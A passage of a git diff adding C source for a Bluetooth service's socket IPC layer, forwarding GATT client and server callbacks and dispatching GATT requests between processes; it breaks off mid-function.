bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_SUBSCRIBED); +} +static void on_notified_cb(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + + if (length > sizeof(packet.gattc_cb._on_notified.value)) { + BT_LOGW("exceeds gattc maximum attr value size :%d", length); + length = sizeof(packet.gattc_cb._on_notified.value); + } + + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_notified.attr_handle = attr_handle; + packet.gattc_cb._on_notified.length = length; + memcpy(packet.gattc_cb._on_notified.value, value, length); + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_NOTIFIED); +} +static void on_mtu_updated_cb(gattc_handle_t conn_handle, gatt_status_t status, uint32_t mtu) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_mtu_updated.status = status; + packet.gattc_cb._on_mtu_updated.mtu = mtu; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_MTU_UPDATED); +} +static void on_phy_read_cb(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_phy_updated.tx_phy = tx_phy; + packet.gattc_cb._on_phy_updated.rx_phy = rx_phy; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_PHY_READ); +} +static void on_phy_updated_cb(gattc_handle_t conn_handle, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_phy_updated.status = status; + packet.gattc_cb._on_phy_updated.tx_phy = tx_phy; + packet.gattc_cb._on_phy_updated.rx_phy = rx_phy; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_PHY_UPDATED); +} +static void on_rssi_read_cb(gattc_handle_t conn_handle, gatt_status_t status, int32_t rssi) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_rssi_read.status = status; + packet.gattc_cb._on_rssi_read.rssi = rssi; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_RSSI_READ); +} +static void on_conn_param_updated_cb(gattc_handle_t conn_handle, bt_status_t status, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(conn_handle); + packet.gattc_cb._on_callback.remote = gattc_remote->cookie; + packet.gattc_cb._on_conn_param_updated.status = status; + packet.gattc_cb._on_conn_param_updated.interval = connection_interval; + packet.gattc_cb._on_conn_param_updated.latency = peripheral_latency; + packet.gattc_cb._on_conn_param_updated.timeout = supervision_timeout; + bt_socket_server_send(gattc_remote->ins, &packet, BT_GATT_CLIENT_ON_CONN_PARAM_UPDATED); +} +const static gattc_callbacks_t g_gattc_socket_cbs = { + .on_connected = on_connected_cb, + .on_disconnected = on_disconnected_cb, + .on_discovered = on_discovered_cb, + .on_read = on_read_cb, + .on_written = on_written_cb, + .on_subscribed = on_subscribed_cb, + .on_notified = on_notified_cb, + .on_mtu_updated = on_mtu_updated_cb, + .on_phy_read = on_phy_read_cb, + .on_phy_updated = on_phy_updated_cb, + .on_rssi_read = on_rssi_read_cb, + .on_conn_param_updated = on_conn_param_updated_cb, +}; +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void bt_socket_server_gattc_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_GATT_CLIENT_CREATE_CONNECT: { + gattc_interface_t* profile = (gattc_interface_t*)service_manager_get_profile(PROFILE_GATTC); + bt_gattc_remote_t* gattc_remote = malloc(sizeof(bt_gattc_remote_t)); + if (!gattc_remote) { + packet->gattc_r.status = BT_STATUS_NO_RESOURCES; + break; + } + + gattc_remote->ins = ins; + gattc_remote->cookie = packet->gattc_pl._bt_gattc_create.cookie; + packet->gattc_r.status = profile->create_connect(gattc_remote, + INT2PTR(void**) & packet->gattc_r.handle, + (gattc_callbacks_t*)&g_gattc_socket_cbs); + if (packet->gattc_r.status != BT_STATUS_SUCCESS) + free(gattc_remote); + break; + } + case BT_GATT_CLIENT_DELETE_CONNECT: { + bt_gattc_remote_t* gattc_remote = if_gattc_get_remote(INT2PTR(void*) packet->gattc_pl._bt_gattc_delete.handle); + packet->gattc_r.status = BTSYMBOLS(bt_gattc_delete_connect)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_delete.handle); + + if (packet->gattc_r.status == BT_STATUS_SUCCESS) + free(gattc_remote); + break; + } + case BT_GATT_CLIENT_CONNECT: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_connect)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_connect.handle, + &packet->gattc_pl._bt_gattc_connect.addr, + packet->gattc_pl._bt_gattc_connect.addr_type); + break; + case BT_GATT_CLIENT_DISCONNECT: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_disconnect)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_disconnect.handle); + break; + case BT_GATT_CLIENT_DISCOVER_SERVICE: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_discover_service)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_discover_service.handle, + &packet->gattc_pl._bt_gattc_discover_service.filter_uuid); + break; + case BT_GATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_get_attribute_by_handle)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_get_attr_by_handle.handle, + packet->gattc_pl._bt_gattc_get_attr_by_handle.attr_handle, + &packet->gattc_r.attr_desc); + break; + case BT_GATT_CLIENT_GET_ATTRIBUTE_BY_UUID: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_get_attribute_by_uuid)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_get_attr_by_uuid.handle, + packet->gattc_pl._bt_gattc_get_attr_by_uuid.start_handle, + packet->gattc_pl._bt_gattc_get_attr_by_uuid.end_handle, + &packet->gattc_pl._bt_gattc_get_attr_by_uuid.attr_uuid, + &packet->gattc_r.attr_desc); + break; + case BT_GATT_CLIENT_READ: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_read)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_read.handle, + packet->gattc_pl._bt_gattc_read.attr_handle); + break; + case BT_GATT_CLIENT_WRITE: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_write)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_write.handle, + packet->gattc_pl._bt_gattc_write.attr_handle, + packet->gattc_pl._bt_gattc_write.value, + packet->gattc_pl._bt_gattc_write.length); + break; + case BT_GATT_CLIENT_WRITE_NR: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_write_without_response)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_write.handle, + packet->gattc_pl._bt_gattc_write.attr_handle, + packet->gattc_pl._bt_gattc_write.value, + packet->gattc_pl._bt_gattc_write.length); + break; + case BT_GATT_CLIENT_SUBSCRIBE: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_subscribe)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_subscribe.handle, + packet->gattc_pl._bt_gattc_subscribe.attr_handle, + packet->gattc_pl._bt_gattc_subscribe.ccc_value); + break; + case BT_GATT_CLIENT_UNSUBSCRIBE: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_unsubscribe)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_subscribe.handle, + packet->gattc_pl._bt_gattc_subscribe.attr_handle); + break; + case BT_GATT_CLIENT_EXCHANGE_MTU: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_exchange_mtu)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_exchange_mtu.handle, + packet->gattc_pl._bt_gattc_exchange_mtu.mtu); + break; + case BT_GATT_CLIENT_UPDATE_CONNECTION_PARAM: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_update_connection_parameter)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_update_connection_param.handle, + packet->gattc_pl._bt_gattc_update_connection_param.min_interval, + packet->gattc_pl._bt_gattc_update_connection_param.max_interval, + packet->gattc_pl._bt_gattc_update_connection_param.latency, + packet->gattc_pl._bt_gattc_update_connection_param.timeout, + packet->gattc_pl._bt_gattc_update_connection_param.min_connection_event_length, + packet->gattc_pl._bt_gattc_update_connection_param.max_connection_event_length); + break; + case BT_GATT_CLIENT_READ_PHY: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_read_phy)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_phy.handle); + break; + case BT_GATT_CLIENT_UPDATE_PHY: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_update_phy)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_phy.handle, + packet->gattc_pl._bt_gattc_phy.tx_phy, + packet->gattc_pl._bt_gattc_phy.rx_phy); + break; + case BT_GATT_CLIENT_READ_RSSI: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_read_rssi)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_rssi.handle); + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case BT_GATT_CLIENT_SUBCODE_WRITE_WITH_SIGNED: + packet->gattc_r.status = BTSYMBOLS(bt_gattc_write_with_signed)( + INT2PTR(gattc_handle_t) packet->gattc_pl._bt_gattc_write.handle, + packet->gattc_pl._bt_gattc_write.attr_handle, + packet->gattc_pl._bt_gattc_write.value, + packet->gattc_pl._bt_gattc_write.length); + break; + default: + break; + } + } +} +#endif + +int bt_socket_client_gattc_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_gattc_remote_t* gattc_remote = INT2PTR(bt_gattc_remote_t*) packet->gattc_cb._on_callback.remote; + bt_socket_async_client_t* __async = NULL; + + if (is_async) { + __async = ins->priv; + CHECK_REMOTE_VALID(__async->gattc_remote_list, gattc_remote); + } else { + CHECK_REMOTE_VALID(ins->gattc_remote_list, gattc_remote); + } + + switch (packet->code) { + case BT_GATT_CLIENT_ON_CONNECTED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_connected, + &packet->gattc_cb._on_connected.addr); + break; + case BT_GATT_CLIENT_ON_DISCONNECTED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_disconnected, + &packet->gattc_cb._on_disconnected.addr); + break; + case BT_GATT_CLIENT_ON_DISCOVERED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_discovered, + packet->gattc_cb._on_discovered.status, + &packet->gattc_cb._on_discovered.uuid, + packet->gattc_cb._on_discovered.start_handle, + packet->gattc_cb._on_discovered.end_handle); + break; + case BT_GATT_CLIENT_ON_MTU_UPDATED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_mtu_updated, + packet->gattc_cb._on_mtu_updated.status, + packet->gattc_cb._on_mtu_updated.mtu); + break; + case BT_GATT_CLIENT_ON_READ: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_read, + packet->gattc_cb._on_read.status, + packet->gattc_cb._on_read.attr_handle, + packet->gattc_cb._on_read.value, + packet->gattc_cb._on_read.length); + break; + case BT_GATT_CLIENT_ON_WRITTEN: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_written, + packet->gattc_cb._on_written.status, + packet->gattc_cb._on_written.attr_handle); + break; + case BT_GATT_CLIENT_ON_SUBSCRIBED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_subscribed, + packet->gattc_cb._on_subscribed.status, + packet->gattc_cb._on_subscribed.attr_handle, + packet->gattc_cb._on_subscribed.enable); + break; + case BT_GATT_CLIENT_ON_NOTIFIED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_notified, + packet->gattc_cb._on_notified.attr_handle, + packet->gattc_cb._on_notified.value, + packet->gattc_cb._on_notified.length); + break; + case BT_GATT_CLIENT_ON_PHY_READ: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_phy_read, + packet->gattc_cb._on_phy_updated.tx_phy, + packet->gattc_cb._on_phy_updated.rx_phy); + break; + case BT_GATT_CLIENT_ON_PHY_UPDATED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_phy_updated, + packet->gattc_cb._on_phy_updated.status, + packet->gattc_cb._on_phy_updated.tx_phy, + packet->gattc_cb._on_phy_updated.rx_phy); + break; + case BT_GATT_CLIENT_ON_RSSI_READ: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_rssi_read, + packet->gattc_cb._on_rssi_read.status, + packet->gattc_cb._on_rssi_read.rssi); + break; + case BT_GATT_CLIENT_ON_CONN_PARAM_UPDATED: + CALLBACK_REMOTE(gattc_remote, gattc_callbacks_t, + on_conn_param_updated, + packet->gattc_cb._on_conn_param_updated.status, + packet->gattc_cb._on_conn_param_updated.interval, + packet->gattc_cb._on_conn_param_updated.latency, + packet->gattc_cb._on_conn_param_updated.timeout); + break; + default: + return BT_STATUS_PARM_INVALID; + } + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_gatts.c b/service/ipc/socket/src/bt_socket_gatts.c new file mode 100644 index 0000000000000000000000000000000000000000..fc2fa79a1b7366cb15abdb2b62f38c37cb64a58b --- /dev/null +++ b/service/ipc/socket/src/bt_socket_gatts.c @@ -0,0 +1,468 @@ + +/**************************************************************************** + * service/ipc/socket/src/bt_socket_gatts.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_gatts.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CHECK_REMOTE_VALID(_list, _remote) \ + do { \ + bt_list_node_t* _node; \ + if (!_list) \ + return BT_STATUS_SERVICE_NOT_FOUND; \ + for (_node = bt_list_head(_list); _node != NULL; _node = bt_list_next(_list, _node)) { \ + if (bt_list_node(_node) == _remote) \ + break; \ + } \ + if (!_node) \ + return BT_STATUS_SERVICE_NOT_FOUND; \ + } while (0) + +#define CALLBACK_REMOTE(_remote, _type, _cback, ...) \ + do { \ + _type* _cbs = (_type*)_remote->callbacks; \ + if (_cbs && _cbs->_cback) { \ + _cbs->_cback(_remote, ##__VA_ARGS__); \ + } \ + } while (0) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(CONFIG_BLUETOOTH_GATT_SERVER) && defined(__NuttX__) +#include "gatts_service.h" +#include "service_manager.h" + +static void on_connected_cb(gatts_handle_t srv_handle, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_connected.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_CONNECTED); +} +static void on_disconnected_cb(gatts_handle_t srv_handle, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_disconnected.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_DISCONNECTED); +} +static void on_attr_table_added_cb(gatts_handle_t srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + packet.gatts_cb._on_attr_table_added.status = status; + packet.gatts_cb._on_attr_table_added.attr_handle = attr_handle; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_ATTR_TABLE_ADDED); +} +static void on_attr_table_removed_cb(gatts_handle_t srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + packet.gatts_cb._on_attr_table_removed.status = status; + packet.gatts_cb._on_attr_table_removed.attr_handle = attr_handle; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_ATTR_TABLE_REMOVED); +} +static void on_notify_complete_cb(gatts_handle_t srv_handle, bt_address_t* addr, gatt_status_t status, uint16_t attr_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_nofity_complete.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_nofity_complete.status = status; + packet.gatts_cb._on_nofity_complete.attr_handle = attr_handle; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_NOTIFY_COMPLETE); +} +static void on_mtu_changed_cb(gatts_handle_t srv_handle, bt_address_t* addr, uint32_t mtu) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_mtu_changed.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_mtu_changed.mtu = mtu; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_MTU_CHANGED); +} +static void on_phy_read_cb(gatts_handle_t srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_phy_updated.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_phy_updated.tx_phy = tx_phy; + packet.gatts_cb._on_phy_updated.rx_phy = rx_phy; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_PHY_READ); +} +static void on_phy_updated_cb(gatts_handle_t srv_handle, bt_address_t* addr, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_phy_updated.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_phy_updated.status = status; + packet.gatts_cb._on_phy_updated.tx_phy = tx_phy; + packet.gatts_cb._on_phy_updated.rx_phy = rx_phy; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_PHY_UPDATED); +} +static uint16_t on_read_request_cb(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_read_request.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_read_request.attr_handle = attr_handle; + packet.gatts_cb._on_read_request.req_handle = req_handle; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_READ_REQUEST); + return 0; +} +static uint16_t on_write_request_cb(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, const uint8_t* value, uint16_t length, uint16_t offset) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + + if (length > sizeof(packet.gatts_cb._on_write_request.value)) { + BT_LOGW("exceeds gatts maximum attr value size :%d", length); + length = sizeof(packet.gatts_cb._on_write_request.value); + } + + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_write_request.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_write_request.attr_handle = attr_handle; + packet.gatts_cb._on_write_request.offset = offset; + packet.gatts_cb._on_write_request.length = length; + memcpy(packet.gatts_cb._on_write_request.value, value, length); + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_WRITE_REQUEST); + return length; +} +static void on_conn_param_changed_cb(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + bt_message_packet_t packet = { 0 }; + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(srv_handle); + packet.gatts_cb._on_callback.remote = gatts_remote->cookie; + memcpy(&packet.gatts_cb._on_conn_param_changed.addr, addr, sizeof(bt_address_t)); + packet.gatts_cb._on_conn_param_changed.interval = connection_interval; + packet.gatts_cb._on_conn_param_changed.latency = peripheral_latency; + packet.gatts_cb._on_conn_param_changed.timeout = supervision_timeout; + bt_socket_server_send(gatts_remote->ins, &packet, BT_GATT_SERVER_ON_CONN_PARAM_CHANGED); +} +const static gatts_callbacks_t g_gatts_socket_cbs = { + .on_connected = on_connected_cb, + .on_disconnected = on_disconnected_cb, + .on_attr_table_added = on_attr_table_added_cb, + .on_attr_table_removed = on_attr_table_removed_cb, + .on_notify_complete = on_notify_complete_cb, + .on_mtu_changed = on_mtu_changed_cb, + .on_phy_read = on_phy_read_cb, + .on_phy_updated = on_phy_updated_cb, + .on_conn_param_changed = on_conn_param_changed_cb, +}; +/**************************************************************************** + * Public Functions + ****************************************************************************/ +void bt_socket_server_gatts_process(service_poll_t* poll, int fd, + bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_GATT_SERVER_REGISTER_SERVICE: { + gatts_interface_t* profile = (gatts_interface_t*)service_manager_get_profile(PROFILE_GATTS); + bt_gatts_remote_t* gatts_remote = malloc(sizeof(bt_gatts_remote_t)); + if (!gatts_remote) { + packet->gatts_r.status = BT_STATUS_NO_RESOURCES; + break; + } + + gatts_remote->ins = ins; + gatts_remote->cookie = packet->gatts_pl._bt_gatts_register.cookie; + packet->gatts_r.status = profile->register_service(gatts_remote, + (void**)&packet->gatts_r.handle, + (gatts_callbacks_t*)&g_gatts_socket_cbs); + if (packet->gatts_r.status != BT_STATUS_SUCCESS) + free(gatts_remote); + break; + } + case BT_GATT_SERVER_UNREGISTER_SERVICE: { + bt_gatts_remote_t* gatts_remote = if_gatts_get_remote(INT2PTR(void*) packet->gatts_pl._bt_gatts_unregister.handle); + packet->gatts_r.status = BTSYMBOLS(bt_gatts_unregister_service)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_unregister.handle); + + if (packet->gatts_r.status == BT_STATUS_SUCCESS) + free(gatts_remote); + break; + } + case BT_GATT_SERVER_CONNECT: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_connect)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_connect.handle, + &packet->gatts_pl._bt_gatts_connect.addr, + packet->gatts_pl._bt_gatts_connect.addr_type); + break; + case BT_GATT_SERVER_DISCONNECT: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_disconnect)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_disconnect.handle, + &packet->gatts_pl._bt_gatts_disconnect.addr); + break; + case BT_GATT_SERVER_ADD_ATTR_TABLE: { + uint8_t* raw_data = (uint8_t*)packet->gatts_pl._bt_gatts_add_attr_table.attr_db; + gatt_srv_db_t srv_db; + gatt_attr_db_t* attr_inst; + + srv_db.attr_num = packet->gatts_pl._bt_gatts_add_attr_table.attr_num; + srv_db.attr_db = zalloc(sizeof(gatt_attr_db_t) * packet->gatts_pl._bt_gatts_add_attr_table.attr_num); + if (!srv_db.attr_db) { + packet->gatts_r.status = BT_STATUS_NO_RESOURCES; + break; + } + + attr_inst = srv_db.attr_db; + raw_data += sizeof(packet->gatts_pl._bt_gatts_add_attr_table.attr_db[0]) * srv_db.attr_num; + for (int i = 0; i < srv_db.attr_num; i++, attr_inst++) { + memcpy(&attr_inst->uuid, &packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].uuid, + sizeof(attr_inst->uuid)); + attr_inst->handle = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].handle; + attr_inst->type = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].type; + attr_inst->rsp_type = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].rsp_type; + attr_inst->properties = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].properties; + attr_inst->permissions = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].permissions; + attr_inst->attr_length = packet->gatts_pl._bt_gatts_add_attr_table.attr_db[i].attr_length; + + if (attr_inst->rsp_type == ATTR_RSP_BY_APP) { + attr_inst->read_cb = on_read_request_cb; + attr_inst->write_cb = on_write_request_cb; + } else if (attr_inst->attr_length) { + attr_inst->attr_value = raw_data; + raw_data += attr_inst->attr_length; + } + } + + packet->gatts_r.status = BTSYMBOLS(bt_gatts_add_attr_table)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_add_attr_table.handle, + &srv_db); + free(srv_db.attr_db); + + break; + } + case BT_GATT_SERVER_REMOVE_ATTR_TABLE: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_remove_attr_table)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_remove_attr_table.handle, + packet->gatts_pl._bt_gatts_remove_attr_table.attr_handle); + break; + case BT_GATT_SERVER_SET_ATTR_VALUE: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_set_attr_value)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_set_attr_value.handle, + packet->gatts_pl._bt_gatts_set_attr_value.attr_handle, + packet->gatts_pl._bt_gatts_set_attr_value.value, + packet->gatts_pl._bt_gatts_set_attr_value.length); + break; + case BT_GATT_SERVER_GET_ATTR_VALUE: + packet->gatts_r.length = packet->gatts_pl._bt_gatts_get_attr_value.length; + packet->gatts_r.status = BTSYMBOLS(bt_gatts_get_attr_value)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_get_attr_value.handle, + packet->gatts_pl._bt_gatts_get_attr_value.attr_handle, + packet->gatts_r.value, + &packet->gatts_r.length); + break; + case BT_GATT_SERVER_RESPONSE: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_response)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_response.handle, + &packet->gatts_pl._bt_gatts_response.addr, + packet->gatts_pl._bt_gatts_response.req_handle, + packet->gatts_pl._bt_gatts_response.value, + packet->gatts_pl._bt_gatts_response.length); + break; + case BT_GATT_SERVER_NOTIFY: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_notify)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_notify.handle, + &packet->gatts_pl._bt_gatts_notify.addr, + packet->gatts_pl._bt_gatts_notify.attr_handle, + packet->gatts_pl._bt_gatts_notify.value, + packet->gatts_pl._bt_gatts_notify.length); + break; + case BT_GATT_SERVER_INDICATE: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_indicate)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_notify.handle, + &packet->gatts_pl._bt_gatts_notify.addr, + packet->gatts_pl._bt_gatts_notify.attr_handle, + packet->gatts_pl._bt_gatts_notify.value, + packet->gatts_pl._bt_gatts_notify.length); + break; + case BT_GATT_SERVER_READ_PHY: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_read_phy)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_phy.handle, + &packet->gatts_pl._bt_gatts_phy.addr); + break; + case BT_GATT_SERVER_UPDATE_PHY: + packet->gatts_r.status = BTSYMBOLS(bt_gatts_update_phy)( + INT2PTR(gatts_handle_t) packet->gatts_pl._bt_gatts_phy.handle, + 